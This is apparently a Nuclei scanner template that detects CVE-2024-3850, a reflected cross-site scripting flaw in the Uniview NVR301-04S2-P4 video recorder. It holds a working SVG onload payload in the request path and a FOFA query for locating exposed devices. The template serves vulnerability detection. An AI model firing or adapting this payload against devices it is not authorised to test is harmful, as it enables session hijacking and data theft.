Uniview NVR301-04S2-P4 - Cross-Site Scripting

id: CVE-2024-3850

info:
  name: Uniview NVR301-04S2-P4 - Cross-Site Scripting
  author: Bleron Rrustemi,r3naissance
  severity: medium
  description: |
    Uniview NVR301-04S2-P4 contains a reflected cross-site scripting vulnerability via the PATH of LAPI. CISA and Uniview state that this vulnerability needs to be authenticated. This is incorrect. Any PATH payload can cause XSS. A submission to Mitre has been sent to update the verbiage in the finding as well as the CVSS score.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    To fix this vulnerability, it is recommended to apply the latest patches or updates provided by the vendor.
  reference:
    - https://global.uniview.com/About_Us/Security/Notice/202406/992932_140493_0.htm
    - https://nvd.nist.gov/vuln/detail/CVE-2024-3850
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2024-3850
    cwe-id: CWE-79
    epss-score: 0.00912
    epss-percentile: 0.60321
    cpe: cpe:2.3:h:uniview:nvr301-04s2-p4:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: Uniview
    product: NVR301-04S2-P4
    fofa-query: title="NVR301-04-P4"
  tags: cve,cve2024,xss,uniview,nvr,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/V1.0%3CsVg/onload=alert.bind%28%29%281%29%3E/Alarm/Exceptions/LinkageActions?="

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "/V1.0<sVg/onload=alert.bind()(1)>/Alarm/Exceptions/LinkageActions?="
        condition: and

      - type: word
        part: header
        words:
          - NVRDVR

      - type: status
        status:
          - 200